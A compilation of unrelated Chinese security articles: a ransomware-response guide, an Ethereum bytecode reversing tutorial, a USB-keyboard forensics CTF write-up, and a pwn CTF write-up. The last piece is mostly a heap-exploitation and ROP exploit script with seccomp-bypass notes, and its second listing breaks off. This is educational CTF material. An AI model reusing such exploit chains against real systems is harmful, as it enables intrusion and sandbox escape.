## 用于攻击的勒索软件
经统计发现，2019年上半年来，针对医疗卫生行业的勒索软件种类并不丰富，主要集中在GandCrab，Globelmposter，而自从GandCrab“退休后”，其继任者Sodinokibi在6月中旬后攻势猛烈，同时，一种名为Attension的新型勒索软件也悄悄开辟新战场。
下图为针对医疗卫生行业的勒索趋势图，同时起对于整个行业的勒索攻击趋势也有参考意义。
以下为针对行业的真实攻击事件中发现的勒索家族种类简介。
## GandCrab
目前均可解密，后缀随机，计算机加密后背景会直接显示GandCrab+版本号
解密工具下载地址：
<http://download.bitdefender.com/am/malware_removal/BDGandCrabDecryptTool.exe>
而目前大部分分析人员普遍认为，其继任者为Sodinoki勒索软件，也同样出现在近期的勒索软件攻击热潮中。
## Globelmposter
暂无解密手段，其后缀名特征会使用十二生肖的英文名+数字的风格(如：Rabbit6666、Dragon6666)，或者古希腊十二神的英文名+数字作为加密文件后缀(如：Aphrodite666、Ares666)。
勒索信格式如下：
## Crysis
以多种后缀如.phobos为后缀，同样在针对中国政企进行攻击。
## Tater
新型勒索病毒，加密算法采用了RSA+AES的方式，暂无法解密，后缀格式为[email protected]
## MegaCortex
勒索软件，以.aes128ctr为加密扩展名：
## Attention
勒索病毒，被勒索文件的后缀为随机的字母和数据编码*. -XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
## WannaCry
问世主要为了实施破坏性攻击，因此更不存在解密方法。
而需要注意的是，虽然目前GandCrab是在被完全解密前的投放量和成功率最高的勒索软件，但并不代表之后背后的攻击者不会再继续发起勒索软件攻击，因为攻击者还是原来的攻击者，仅仅是勒索软件提供商（如“继任者”Sodinoki勒索软件）发生了变化，勒索软件攻防仍然是业界一大难题。
总结来说，勒索病毒广泛利了Windows远程桌面的密码破解攻击，同时还可能会用到其他多种攻击方法 ，主要的传播方式如下：
1、Windows远程桌面密码破解
2、系统及程序漏洞（如永恒之蓝、office办公软件漏洞等）
3、人工入侵，投放勒索病毒
4、钓鱼邮件、钓鱼网站
整个勒索病毒产业链攻击流程如下：
## 自救手段
当我们已经确认感染勒索病毒后，应当及时采取必要的自救措施。之所以要进行自救，主要是因为：等待专业人员的救助往往需要一定的时间，采取必要的自救措施，可以减少等待过程中，损失的进一步扩大。例如：与被感染主机相连的其他服务器也存在漏洞或是有缺陷，将有可能也被感染。所以，采取自救措施的目的是为了及时止损，将损失降到最低。
## 正确处置方法
### (一) 隔离中招主机
处置方法
当确认服务器已经被感染勒索病毒后，应立即隔离被感染主机，隔离主要包括物理隔离和访问控制两种手段，物理隔离主要为断网或断电；访问控制主要是指对访问网络资源的权限进行严格的认证和控制。
1） 物理隔离
物理隔离常用的操作方法是断网和关机。
断网主要操作步骤包括：拔掉网线、禁用网卡，如果是笔记本电脑还需关闭无线网络。
2） 访问控制
访问控制常用的操作方法是加策略和修改登录密码。
加策略主要操作步骤为：在网络侧使用安全设备进行进一步隔离，如防火墙或终端安全监测系统；避免将远程桌面服务（RDP，默认端口为3389）暴露在公网上（如为了远程运维方便确有必要开启，则可通过VPN登录后才能访问），并关闭445、139、135等不必要的端口。
修改登录密码的主要操作为：立刻修改被感染服务器的登录密码；其次，修改同一局域网下的其他服务器密码；第三，修改最高级系统管理员账号的登录密码。修改的密码应为高强度的复杂密码，一般要求：采用大小写字母、数字、特殊符号混合的组合结构，口令位数足够长（15位、两种组合以上）。
处置原理
隔离的目的，一方面是为了防止感染主机自动通过连接的网络继续感染其他服务器；另一方面是为了防止黑客通过感染主机继续操控其他服务器。
有一类勒索病毒会通过系统漏洞或弱密码向其他主机进行传播，如WannaCry勒索病毒，一旦有一台主机感染，会迅速感染与其在同一网络的其他电脑，且每台电脑的感染时间约为1-2分钟左右。所以，如果不及时进行隔离，可能会导致整个局域网主机的瘫痪。
另外，近期也发现有黑客会以暴露在公网上的主机为跳板，再顺藤摸瓜找到核心业务服务器进行勒索病毒攻击，造成更大规模的破坏。
当确认服务器已经被感染勒索病毒后，应立即隔离被感染主机，防止病毒继续感染其他服务器，造成无法估计的损失。
### (二) 排查业务系统
处置方法
在已经隔离被感染主机后，应对局域网内的其他机器进行排查，检查核心业务系统是否受到影响，生产线是否受到影响，并检查备份系统是否被加密等，以确定感染的范围。
处置原理
业务系统的受影响程度直接关系着事件的风险等级。评估风险，及时采取对应的处置措施，避免更大的危害。另外，备份系统如果是安全的，就可以避免支付赎金，顺利的恢复文件。
所以，当确认服务器已经被感染勒索病毒后，并确认已经隔离被感染主机的情况下，应立即对核心业务系统和备份系统进行排查。
### (三) 联系专业人员
在应急自救处置后，建议第一时间联系专业的技术人士或安全从业者，对事件的感染时间、传播方式，感染家族等问题进行排查。
中招客户可以联系奇安信集团，全国400应急热线：4008136 360转2 转4。
或者访问奇安信集团官网 [www.qianxin.com](http://www.qianxin.com) 及时寻求帮助。
## 错误处置方法
### (一) 使用移动存储设备
错误操作
当确认服务器已经被感染勒索病毒后，在中毒电脑上使用U盘、移动硬盘等移动存储设备。
错误原理
勒索病毒通常会对感染电脑上的所有文件进行加密，所以当插上U
盘或移动硬盘时，也会立即对其存储的内容进行加密，从而造成损失扩大。从一般性原则来看，当电脑感染病毒时，病毒也可能通过U盘等移动存储介质进行传播。
所以，当确认服务器已经被感染勒索病毒后，切勿在中毒电脑上使用U盘、移动硬盘等设备。
### (二) 读写中招主机上的磁盘文件
错误操作
当确认服务器已经被感染勒索病毒后，轻信网上的各种解密方法或工具，自行操作。反复读取磁盘上的文件后反而降低数据正确恢复的概率。
错误原理
很多流行勒索病毒的基本加密过程为：
1）首先，将保存在磁盘上的文件读取到内存中；
2）其次，在内存中对文件进行加密；
3）最后，将修改后的文件重新写到磁盘中，并将原始文件删除。
也就是说，很多勒索病毒在生成加密文件的同时，会对原始文件采取删除操作。理论上说，使用某些专用的数据恢复软件，还是有可能部分或全部恢复被加密文件的。
而此时，如果用户对电脑磁盘进行反复的读写操作，有可能破坏磁盘空间上的原始文件，最终导致原本还有希望恢复的文件彻底无法恢复。
安全建议
1、 系统、应用相关用户杜绝使用弱口令，应使用高复杂强度的密码，尽量包含大小写字母、数字、特殊符号等的混合密码，加强管理员安全意识，禁止密码重用的情况出现；
2、 禁止服务器主动发起外部连接请求，对于需要向外部服务器推送共享数据的，应使用白名单的方式，在出口防火墙加入相关策略，对主动连接IP范围进行限制；
3、
有效加强访问控制ACL策略，细化策略粒度，按区域按业务严格限制各个网络区域以及服务器之间的访问，采用白名单机制只允许开放特定的业务必要端口，其他端口一律禁止访问，仅管理员IP可对管理端口进行访问，如FTP、数据库服务、远程桌面等管理端口；
4、 部署高级威胁监测设备，及时发现恶意网络流量，同时可进一步加强追踪溯源能力，对安全事件发生时可提供可靠的追溯依据；
5、 配置并开启相关关键系统、应用日志，对系统日志进行定期异地归档、备份，避免在攻击行为发生时，导致无法对攻击途径、行为进行溯源等，加强安全溯源能力；
6、 建议在服务器或虚拟化环境上部署虚拟化安全管理系统，提升防恶意软件、防暴力破解等安全防护能力；
7、 建议安装相应的防病毒软件，及时对病毒库进行更新，并且定期进行全面扫描，加强服务器上的病毒清除能力；
8、 定期开展对系统、应用以及网络层面的安全评估、渗透测试以及代码审计工作，主动发现目前系统、应用存在的安全隐患；
9、 加强日常安全巡检制度，定期对系统配置、网络设备配合、安全日志以及安全策略落实情况进行检查，常态化信息安全工作；
当然，最重要的一点就是，务必打全补丁！远程桌面服务远程代码执行漏洞Bluekeep已面世许久，商业化的渗透测试工具已具备批量攻击的功能，而近期微软又曝光多个远程桌面服务远程代码执行漏洞，因此，即使将弱口令修改为强口令，若主机存在漏洞，那仍然存在被入侵的高风险，请务必重视。 | 社区文章 |
# 逆向分析以太坊智能合约（Part 2）
##### 译文声明
本文是翻译文章，文章来源：arvanaghi.com
原文地址：<https://arvanaghi.com/blog/reversing-ethereum-smart-contracts-pt2>
译文仅供参考，具体内容表达以及含义原文为准。
**逆向分析以太坊智能合约（part1） 传送门：<https://www.anquanke.com/post/id/101979>**
## 一、前言
在前一篇文章中（[原文](https://arvanaghi.com/blog/reversing-ethereum-smart-contracts)，[译文](https://www.anquanke.com/post/id/101979)），我们初步逆向分析了`Greeter.sol`合约。我们仔细研究了`Greeter.sol`的dispatcher，作为合约的一部分，dispatch可以接收交易数据，决定应该发送哪个函数。
让我们再来看以下`Greeter.sol`合约：
contract mortal {
/* Define variable owner of the type address */
address owner;
/* This function is executed at initialization and sets the owner of the contract */
function mortal() { owner = msg.sender; }
/* Function to recover the funds on the contract */
function kill() { if (msg.sender == owner) selfdestruct(owner); }
}
contract greeter is mortal {
/* Define variable greeting of the type string */
string greeting;
/* This runs when the contract is executed */
function greeter(string _greeting) public {
greeting = _greeting;
}
/* Main function */
function greet() constant returns (string) {
return greeting;
}
}
这次让我们分析一下`kill()`方法。
每份智能合约中都存在dispatcher。`kill()`的函数标识符为`0x41c0e1b5`，这是因为该ID是`kill()`方法keccak256`哈希的前4个字节：
keccak256("kill()") = 41c0e1b5...
Dispatcher会检查发往合约的交易数据，决定是否要与`kill()`函数进行通信。大家可以回顾之前那篇文章，详细了解我们分解过的那些指令。
这里我们分析下当dispatcher把我们带到这个函数时会发生什么情况。
## 二、kill()
`Greeter.sol`中的`kill()`函数实际上继承自上一层的`mortal`合约:
contract mortal {
/* Define variable owner of the type address */
address owner;
...
/* Function to recover the funds on the contract */
function kill() { if (msg.sender == owner) selfdestruct(owner); }
}
contract greeter is mortal {
...
}
由于`greeter is
mortal`，因此`greeter`可以访问`mortal`的所有函数以及成员。即便我们只是把`greeter`的字节码加载到Binary
Ninja中，由于存在这种继承关系，该字节码中也会包含`mortal`的所有函数。
`kill()`函数可以执行如下操作：
1、检查发送交易的地址是否与合约的`address owner`成员相匹配。
2、如果相匹配，`kill()`就会调用内置的`selfdestruct`函数，将`owner`地址以参数形式传入。
`selfdestruct`实际上是一种操作码（opcode），因此其实已经内置在EVM（以太坊虚拟机）中。理论上讲，这是我们从以太坊区块链上删除智能合约的唯一方法。如果你的合约接收以太币（ether），那么你以参数形式传递给`selfdestruct`的那个地址会在合约代码被删除前接收存储在你合约中的所有以太币。
`selfdestruct`（[EIP6](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-6.md)之前称为`suicide`）的功能是允许人们通过删除旧的或者未使用的合约来清理区块链。如果有人将以太币发送给已经销毁的合约，那么这些以太币将永远丢失，因为合约地址已经不再具备将以太币转移到另一个地址的任何代码。大家可以访问[此链接](http://solidity.readthedocs.io/en/develop/introduction-to-smart-contracts.html#self-destruct)了解关于`selfdestruct`的更多信息。
## 三、反汇编kill()
接下来让我们反汇编`kill()`，检查相关操作码。
### Payable修饰符
第一部分指令为：
CALLVALUE
ISZERO
PUSH2 0x5c
JUMPI
`CALLVALUE`是一次交易中发送的`wei`的数量，对应于一次交易中的`msg.value`参数。`Wei`是以太币的最小单位，就像美分是美元的最小单位一样，只不过`1
ether=10^18 wei`。为了便于说明，这里我将用以太币来表示发送的币值。
`CALLVALUE`会将发送给`kill()`函数的以太币数量压入栈中，`ISZERO`会将该值弹出，如果值为0（即没有以太币发送到`kill()`函数），则将1压入栈中。
请记住，`msg.data`与`calldataload`相对应，`msg.value`与`callvalue`相对应。以太坊交易合约中包含这两个字段。`msg.data`字段会告诉智能合约此次交易希望与那个函数交互，也会包含该函数所需的任何参数。`msg.value`字段也可以为该函数包含一些以太币，这是一个完全独立的字段。
对于我们这个例子，假设真的有人在交易中往`kill()`发送了一些以太币，那么`ISZERO`就会将0压入栈中。在`PUSH2
0x5c`执行之后，栈的布局如下所示：
0: 0
1: 0x5c
前一篇文章中我们提到过，`JUMPI`对应的是`jumpi(label,
cond)`，也就是说如果`cond`为非零值，那么就会跳转到`label`。在这个例子中，`cond`等于0，因此我们不会跳转。这样我们就会进入左边分支，遇到`REVERT`指令。
当某人将以太币发送到`kill()`函数时，为什么我们会跳转到`REVERT`？这是因为`kill()`函数并没有在源代码中被标记为`payable`：
function kill() {
如果某个函数原型没有在尾部使用`payable`修饰符时，则会拒绝与之对应的包含以太币的交易。如果智能合约作者没有显式地包含一个函数来转发存储在智能合约中的以太币，那么这些以太币将永远丢失，添加“payable”修饰符可以确保降低这种情况发生的概率。
### 优化
作为一门可访问的语言，在编写智能合约这样艰巨的任务方面Solidity已经表现得非常不错。然而，由于这门语言仍属于较新颖的一门语言（对于以太坊来说也是如此），因此Solidity编译器`solc`在编译出来的字节码中仍然会产生冗余的指令。
比如，我们的`kill()`函数中包含如下一组指令：
这3条指令分别为： `PUSH1 0x0`、`DUP1`以及`SWAP1`，分别做了如下操作：
1、将`0x0`压入栈：
0: 0x0
2、复制这个值：
0: 0x0
1: 0x0
3、交换这些值，因此栈上的两个`0x0`会被互相交换：
0: 0x0
1: 0x0
人们仍在解决这些冗余操作，幸运的是，`solc`编译器有一个`optimizer`标志，可以很好地解决这些冗余问题。大家可以参考[此处](http://solidity.readthedocs.io/en/develop/miscellaneous.html#internals-the-optimizer)了解更多信息。
在我们这个例子中，我们可以使用如下命令生成经过优化的字节码：
solc --bin-runtime --optimize --optimize-rounds 200 Greeter.sol
将生成的字节码导入Binary Ninja，我们可以得到如下输出：
你会发现这里的`payable`逻辑仍然与前面相同，但操作数明显减少了许多。
我们会继续分析经过优化的这个字节码。
## 四、分解kill()
前面我们已经介绍过`payable`逻辑，接下来我们继续分析`kill()`中紧随其后的其他指令：
第一条指令是`PUSH2
0x65`。这个值会一直停留在栈上，直到`kill()`函数结束。你可以提前知道这个信息，因为如果你查看代码执行尾部，你可以看到`0x131`地址处有一个`JUMP`指令。
我们知道`JUMP`指令需要一个参数，以便EVM知道要跳转到哪个地方，因此栈上肯定要存在某个值。我们也可以看到这条`JUMP`指令会指引我们直接转到`0x65`这个地址。因此，我们可以得出一个结论，那就是我们推到栈上的`0x65`将会作为该函数尾部`JUMP`指令的参数。
下一条指令是`PUSH2 0xf1`，该指令可以为后面那条`JUMP`指令做铺垫。当`JUMP`执行完毕后，栈上只包含`0x65`这个值。
接下来我们看以下`kill()`第一部分主要指令集合：
在`JUMPDEST`指令（作为`JUMP`指令的占位符）之后，第一条指令是`PUSH1 0x0`然后是`SLOAD`。我们知道`SLOAD`代表的是
**storage load** ，该指令会根据存储（storage）索引中加载一个值，然后将其压入栈中。
0:
0x65在这个例子中，`0`这个参数会传入这条指令（因为0在栈上刚好位于该指令前面），因此`SLOAD`会将`storage[0]`压入栈。在我们的合约中，这就是合约中的“
**address owner** ”成员。
1: contract owner's address
下一条指令是`CALLER`，该指令会将调用发送者（或者发送交易的人/合约）的地址压入栈中。
0: 0x65
1: contract owner's address
2: caller address
执行`PUSH20 0xffffff...`、`SWAP1`以及`DUP2`指令后，此时栈布局如下所示：
0: 0x65
1: contract owner's address
2: 0xffffff... (20 bytes long)
3: caller address
4: 0xffffff... (20 bytes long)
下一条指令是`AND`。将`0xffffff...`（20个字节）与调用者地址进行`AND`操作后，结果不会发生变化。这条指令的作用是确保栈的比特位被正确设置。`AND`会将这两个值从栈中弹出，然后将这个地址压入栈。
0: 0x65
1: contract owner's address
2: 0xffffff... (20 bytes long)
3: caller address
接下来的指令是`SWAP2`以及`AND`，这里会对合约拥有者的地址执行`AND`操作。同样，这个`AND`操作的结果也会被压入栈顶，这次合约所有者的地址也没发生改变。这些指令执行完毕后，栈布局如下所示：
0: 0x65
1: caller address
2: contract owner's address
下一条指令是`EQ`，该指令会检查栈顶上的两个元素是否相同，相同的话则压入1，否则压入0。这个例子中，`EQ`会检查调用者地址是否等于合约所有者的地址。
这听起来是不是特别耳熟？其实这对应于`kill()`函数中`if (msg.sender == owner)`这条语句。
/* Function to recover the funds on the contract */
function kill() { if (msg.sender == owner) selfdestruct(owner); }
下一条指令是`ISZERO`，该指令会检查`EQ`的处理结果是0还是1。如果结果为0，则意味着信息发送方并不是合约的所有者，`ISZERO`的结果为真。如果`ISZERO`的结果为真，则会将1压入栈，告诉`JUMP`指令跳过下一个指令块，跳转到`0x130`，然后将我们踢出合约外。
假设发送该交易的地址的确与合约“所有者”的地址相匹配，那么执行流程将会进入`PUSH1 0x0`代码块。这条指令执行完毕后，栈布局如下所示：
0: 0x65
1: 0
下一条指令又是`SLOAD`，这次该指令的参数又是`0`，因此会将合约所有者的地址压入栈。再一次执行我们熟悉的`PUSH20
0xffffff...`以及`AND`指令后，我们的栈布局如下所示：
0: 0x65
1: contract owner's address
这个指令块的最后一条指令是`SELFDESTRUCT`，该指令会将栈顶元素当成存储以太币的所有合约的目的地址，然后删除所有合约的代码。当`SELFDESTRUCT`指令弹出合约所有者的地址后，栈上只包含`0x65`，最后的`JUMP`指令会将这个值当作参数，跳转到`STOP`。
现在我们的合约代码已经被删除，存储在合约中的所有以太币已经发送到`owner`。大功告成。 | 社区文章 |
# HackTheBox Cyber Apocalypse 2021 CTF
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 数字取证题目Key mission
大家好我是来自Tiger-Team的evi1_f4iry，近期刚刚和小伙伴们组队TigerEyes，完成了为期一周的Cyber Apocalypse
2021 CTF线上赛，队伍最终排名第15。
我将陆续在此分享一些我在队伍中负责解出的题目，本文为取证题Key mission。
### 题目信息
Key mission
实际完成该题目的人数：691
题目线索：
“The secretary of earth defense has been kidnapped. We have sent out elite
team on the enemy’s base to find his location. Our team only managed to
intercept this traffic. You mission is to retrieve secretary’s hidden
location.
地球防务部长被绑架了，我们已经派出我们的精英队伍去找寻他的下落。 我们的队伍只截获了这些流量。你的任务是找到部长被藏匿的地点。
题目数据包解压后是一个名为“key_mission.pcap”的流量数据包。
从文件大小和信息来看，应该只是很普通的USB流量包。
Wireshark打开查看。
通过分析功能，再次确认了确实只是个单纯的usb数据包（对题目难度产生了怀疑）
尝试通过设备信息确认是那种设备，但是并没有显示能进一步确认的线索。
通过观察数据包内的数据，可以推断usb设备应该为键盘。
因为HID Data数据长度为八个字节。主要信息集中在第三个字，应为usb键盘。
查看整个流量包，并没有发现新的线索。显然只能按照传统的usb键盘题解法进行处理。
我只需要有HID Data的包，这可以通过usbhid.data先进行过滤查看一下，没有特殊的。
使用tshark将HID Data部分的数据导出并直接去除空行，为接下来的数据处理提供方便。
tshark -r key_mission.pcap -T fields -e usbhid.data | sed ‘/^$/d’ > key.txt
当我导出这个数据后我使用了几个比较常用的键盘数据转换的CTF脚本。这些脚本提出的flag都无法提交，显然这些脚本都是将一些功能按键通过脚本直接处理得到最终flag，这已经不是我现在需要的了，此时我需要完整的解析每一个按键，而不是将shift，backspace，CapsLock这些功能键直接处理掉，这样我才能看清到底发生了什么，我找到一个可以直接输出的脚本，并进行了一些简单的修改
如下：
#!/usr/bin/python
# coding: utf-8
from __future__ import print_function
import sys,os
#declare -A lcasekey
lcasekey = {}
#declare -A ucasekey
ucasekey = {}
#associate USB HID scan codes with keys
#ex: key 4 can be both "a" and "A", depending on if SHIFT is held down
lcasekey[4]="a"; ucasekey[4]="A"
lcasekey[5]="b"; ucasekey[5]="B"
lcasekey[6]="c"; ucasekey[6]="C"
lcasekey[7]="d"; ucasekey[7]="D"
lcasekey[8]="e"; ucasekey[8]="E"
lcasekey[9]="f"; ucasekey[9]="F"
lcasekey[10]="g"; ucasekey[10]="G"
lcasekey[11]="h"; ucasekey[11]="H"
lcasekey[12]="i"; ucasekey[12]="I"
lcasekey[13]="j"; ucasekey[13]="J"
lcasekey[14]="k"; ucasekey[14]="K"
lcasekey[15]="l"; ucasekey[15]="L"
lcasekey[16]="m"; ucasekey[16]="M"
lcasekey[17]="n"; ucasekey[17]="N"
lcasekey[18]="o"; ucasekey[18]="O"
lcasekey[19]="p"; ucasekey[19]="P"
lcasekey[20]="q"; ucasekey[20]="Q"
lcasekey[21]="r"; ucasekey[21]="R"
lcasekey[22]="s"; ucasekey[22]="S"
lcasekey[23]="t"; ucasekey[23]="T"
lcasekey[24]="u"; ucasekey[24]="U"
lcasekey[25]="v"; ucasekey[25]="V"
lcasekey[26]="w"; ucasekey[26]="W"
lcasekey[27]="x"; ucasekey[27]="X"
lcasekey[28]="y"; ucasekey[28]="Y"
lcasekey[29]="z"; ucasekey[29]="Z"
lcasekey[30]="1"; ucasekey[30]="!"
lcasekey[31]="2"; ucasekey[31]="@"
lcasekey[32]="3"; ucasekey[32]="#"
lcasekey[33]="4"; ucasekey[33]="$"
lcasekey[34]="5"; ucasekey[34]="%"
lcasekey[35]="6"; ucasekey[35]="^"
lcasekey[36]="7"; ucasekey[36]="&"
lcasekey[37]="8"; ucasekey[37]="*"
lcasekey[38]="9"; ucasekey[38]="("
lcasekey[39]="0"; ucasekey[39]=")"
lcasekey[40]="<enter>"; ucasekey[40]="<ENTER>"
lcasekey[41]="<esc>"; ucasekey[41]="<ESC>"
lcasekey[42]="<del>"; ucasekey[42]="<Del>"
lcasekey[43]="<tab>"; ucasekey[43]="<TAB>"
lcasekey[44]="<space>"; ucasekey[44]="<SPACE>"
lcasekey[45]="-"; ucasekey[45]="_"
lcasekey[46]="="; ucasekey[46]="+"
lcasekey[47]="["; ucasekey[47]="{"
lcasekey[48]="]"; ucasekey[48]="}"
lcasekey[49]="\\"; ucasekey[49]="|"
lcasekey[50]=" "; ucasekey[50]=" "
lcasekey[51]=";"; ucasekey[51]=":"
lcasekey[52]="'"; ucasekey[52]="\""
lcasekey[53]="`"; ucasekey[53]="~"
lcasekey[54]=","; ucasekey[54]="<"
lcasekey[55]="."; ucasekey[55]=">"
lcasekey[56]="/"; ucasekey[56]="?"
lcasekey[57]="<capslook>"; ucasekey[57]="<CAPSLOOK>"
lcasekey[79]="<r_arrow>"; ucasekey[79]="<R_ARROW>"
lcasekey[80]="<l_arrow>"; ucasekey[80]="<L_ARROW>"
lcasekey[84]="/"; ucasekey[84]="/"
lcasekey[85]="*"; ucasekey[85]="*"
lcasekey[86]="-"; ucasekey[86]="-"
lcasekey[87]="+"; ucasekey[87]="+"
lcasekey[88]="<num_enter>"; ucasekey[88]="<NUM_ENTER>"
lcasekey[89]="1"; ucasekey[89]="1"
lcasekey[90]="2"; ucasekey[90]="2"
lcasekey[91]="3"; ucasekey[91]="3"
lcasekey[92]="4"; ucasekey[92]="4"
lcasekey[93]="5"; ucasekey[93]="5"
lcasekey[94]="6"; ucasekey[94]="6"
lcasekey[95]="7"; ucasekey[95]="7"
lcasekey[96]="8"; ucasekey[96]="8"
lcasekey[97]="9"; ucasekey[97]="9"
lcasekey[98]="0"; ucasekey[98]="0"
lcasekey[99]="."; ucasekey[99]="."
#make sure filename to open has been provided
if len(sys.argv) == 2:
keycodes = open(sys.argv[1])
for line in keycodes:
#dump line to bytearray
bytesArray = bytearray.fromhex(line.strip())
#see if we have a key code
val = int(bytesArray[2])
if val > 3 and val < 100:
#see if left shift or right shift was held down
if bytesArray[0] == 0x02 or bytesArray[0] == 0x20 :
print(ucasekey[int(bytesArray[2])], end=''), #single line output
#print(ucasekey[int(bytesArray[2])]) #newline output
else:
print(lcasekey[int(bytesArray[2])], end=''), #single line output
#print(lcasekey[int(bytesArray[2])]) #newline output
else:
print("USAGE: python %s [filename]" % os.path.basename(__file__))
执行后得到结果如下
I<space>aam<space>ssendinf<del><del>g<space>ssecrretary's<space>loccation<space>oveer<space>this<space>tottally<space>encrypted<space>channel<space>to<space>make<space>surre<space>no<space>one<space>elsse<space>will<space>be<space>able<space>to<space><space>rreeat<del><del>d<space>itt<space>exceppt<space>of<space>us.<space>Tthis<space>informmaation<space>iss<space>confiddential<space>and<space>must<space>not<space>be<space>sharred<space>with<space>anyone<space>elsse.<space>Tthe<space><space>ssecrretary's<space>hidden<space>looccation<space>is<space>CHTB{a_place=3<del><del>-3<del><del>_3<del><del><del>3_fAr_fAar_awway_ffr0m_eearth}<enter>
检查了一下并没有按下CapsLock的记录，直接拿出flag部分
CHTB{a_place=3<del><del>-3<del><del>_3<del><del><del>3_fAr_fAar_awway_ffr0m_eearth}<enter>
按照删除键删除对应的字符得到
CHTB{a_plac3_fAr_fAar_awway_ffr0m_eearth}
再次提交，此flag仍然是错误的。但是检查脚本并未发现任何错误。
我需要再次回到流量包仔细检查flag部分的流量发生了什么
首先查一下flag段的流量一共有几个包，每一个按键即为一个包。简单修改一下脚本，将每个按键的原始数据输出出来，并将原本的不换行print改为换行。
运行后在输出中找到CHTB{这个flag开头标准，向下逐个检查。
通过仔细查看，我们可以发现按键和数据的对应。
这些数据只在flag的fAr_fAar的第二个fAar部分出现了奇怪的现象，按照我发现的规律，如果第二个far在flag中为fAr，则数据应与第一个far一样为
0000090000000000
f
0000000000000000
0200000000000000
0200040000000000
A
0200000000000000
0000000000000000
0000150000000000
r
0000000000000000
如果正确flag为fAar，那数据按照规律应为
0000090000000000
f
0000000000000000
0200000000000000
0200040000000000
A
0200000000000000
0000000000000000
0000040000000000
a
0000000000000000
0000150000000000
r
0000000000000000
而实际数据显然与两种可能性都不相符
对比实际数据和预期数据：
所以，这道题不是key mission，而是key missing
两种可能性，一是连续按了两个大写的A，一个是根本没按第二个a键，只是传输错误。
分别尝试提交，最终flag为
CHTB{a_plac3_fAr_fAr_awway_ffr0m_eearth} | 社区文章 |
这道题在比赛中并没有做出来，而是在赛后继续做才做出来....(太菜了
## 审计代码
题目逻辑非常简单
main函数如上，程序有三个功能
* add
* show
* delete
#### add
调用calloc来分配内存，只能固定大小0x28字节的
#### show
输入下标的时候可以输入负数，下标溢出，a1传进来的是栈上的指针
我们可以看下getint
可以输入128个字节，明显就可以利用
因为getint读取也是读取进栈的，因此配合下标溢出就可以任意地址读取
#### delete
这里也是同样的漏洞，可以任意地址free
#### 异样的地方
程序除了这几个函数，还有seccomp那些函数，我们可以看下
init_array有初始化函数
可以看到设置了seccomp
prctl(22, 2LL, &v1)
这里设置的是过滤模式
我们可以利用一个工具来看到底设置了什么
[secconp-tools](https://github.com/david942j/seccomp-tools)
可以看到，禁了32位的syscall，禁了open和openat
这里seccomp沙箱的bypass在后面再详细说
## 利用漏洞
虽然程序只有任意地址leak和任意地址free，但是其实利用起来还是非常方便的
大概利用链是
1. leak 程序基址，libc基址，stack地址，heap地址
2. fastbin attack到栈上
3. 两次fastbin attack，控制rip，然后可以进行rop
4. mprotect将bss段设为可读可写可执行，写shellcode
5. seccomp bypass
前四步都非常简单
不过有个地方，就是calloc那里，可以利用将chunk size的mmap位设为1来避免清0
详细的可以看我的payload来调, 下面的payload是只到rop部分的
from pwn import *
import pwnlib.shellcraft as sc
debug=0
context.log_level='debug'
context.arch='amd64'
e=ELF('./libc-2.23.so')
if debug:
#p=process('./memo')
p=process('./memo',env={'LD_PRELOAD':'./libc-2.23.so'})
#gdb.attach(p)
else:
p=remote('smemo.pwn.seccon.jp',36384)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def add(content,wait=True):
se('1\n')
ru('memo > ')
se(content)
if wait:
ru('> ')
def show(idx):
se('2\n')
ru('id > ')
se(str(idx)+'\n')
ru('Show id:')
ru('\n')
data=ru('\n')[:-1]
ru('> ')
return data
def delete(idx):
se('3\n')
ru('id > ')
se(str(idx)+'\n')
ru('> ')
def leak(addr):
se('2'+'\x00'*47+p64(addr)+'\n')
ru('id > ')
se(str(-16)+'\n')
ru('Show id:')
ru('\n')
data=ru('\n')[:-1]
ru('> ')
return data
def free(addr):
se('3'+'\x00'*47+p64(addr)+'\n')
ru('id > ')
se('-16\n')
ru('> ')
# leak
pbase=u64(show(-2)[:6]+'\x00\x00')-0x1020
stack=u64(show(-4)[:6]+'\x00\x00')
base=u64(leak(pbase+0x201668)[:6]+'\x00\x00')-e.symbols['puts']
add('aaa\n')
heap=u64(leak(stack-0x90)[:6]+'\x00\x00')
add('bbb\n')
#first fastbin attack
free(heap)
free(heap+0x30)
free(heap)
se('1'+'\x00'*7+cyclic(104)+p64(0x33)+'\n')
ru('Input memo > ')
se(p64(stack-0xd8)+'\n')
ru('> ')
add('2'*8+'\n')
add('3'*8+'\n')
add(cyclic(32)+'\x33'+'\x00'*6) #this can control stack
delete(0)
delete(1)
delete(2)
# second fastbin attack
se('1'+'\x00'*7+cyclic(104)+p64(0x33)+'\n')
ru('Input memo > ')
se(p64(stack-0xb0)+'\n')
ru('> ')
add('2'*8+'\n')
add('3'*8+'\n')
bss=0x2016E0+pbase+0x100
prdi=pbase+0x1083
leave=pbase+0xc95
prsi=base+0x202e8
prdx=base+0x1b92
gets=base+e.symbols['gets']
mprotect=base+e.symbols['mprotect']
# rop
payload=p64(bss-8)+p64(prdi)+p64(bss)+p64(gets)+p64(leave)[:7]
add(payload,False)
pay2=p64(prdi)+p64(pbase+0x201000)+p64(prsi)+p64(0x1000)+p64(prdx)+p64(7)
pay2+=p64(mprotect)+p64(bss+0x100)
pay2=pay2.ljust(0x100,'\x00')
p.interactive()
### bypass seccomp
这里是整个题目耗时最长的地方......
尝试了以下几种办法
1. 利用sys_name_to_handle_at 和 sys_open_by_handle_at 来组合成openat，打开flag.txt
但是发现kali本地可以，服务器就失败了.......后面查了下，好像是要root才能调那个syscall
2. 利用retf更改cs寄存器的值，使其变为32位模式
成功修改了，但是调用32位的syscall一样报错.......
3. 上传32位的程序，再execve
看到某篇wp说服务器上有32位的程序，可以执行然后绕过seccomp，于是试了下，发现tmp目录可以写东西并且能chmod
但是上传完，执行execve还是失败.......估计execve有调用open
4. ptrace 修改syscall
这个是唯一成功的，下面是别人的写的poc
[poc](https://gist.github.com/thejh/8346f47e359adecd1d53)
上面能执行任意shellcode了，而这里我们要做的就是将poc的c语言代码翻译成汇编
下面是完整的payload
from pwn import *
import pwnlib.shellcraft as sc
debug=0
context.log_level='debug'
context.arch='amd64'
e=ELF('./libc-2.23.so')
if debug:
#p=process('./memo')
p=process('./memo',env={'LD_PRELOAD':'./libc-2.23.so'})
#gdb.attach(p)
else:
p=remote('smemo.pwn.seccon.jp',36384)
def ru(x):
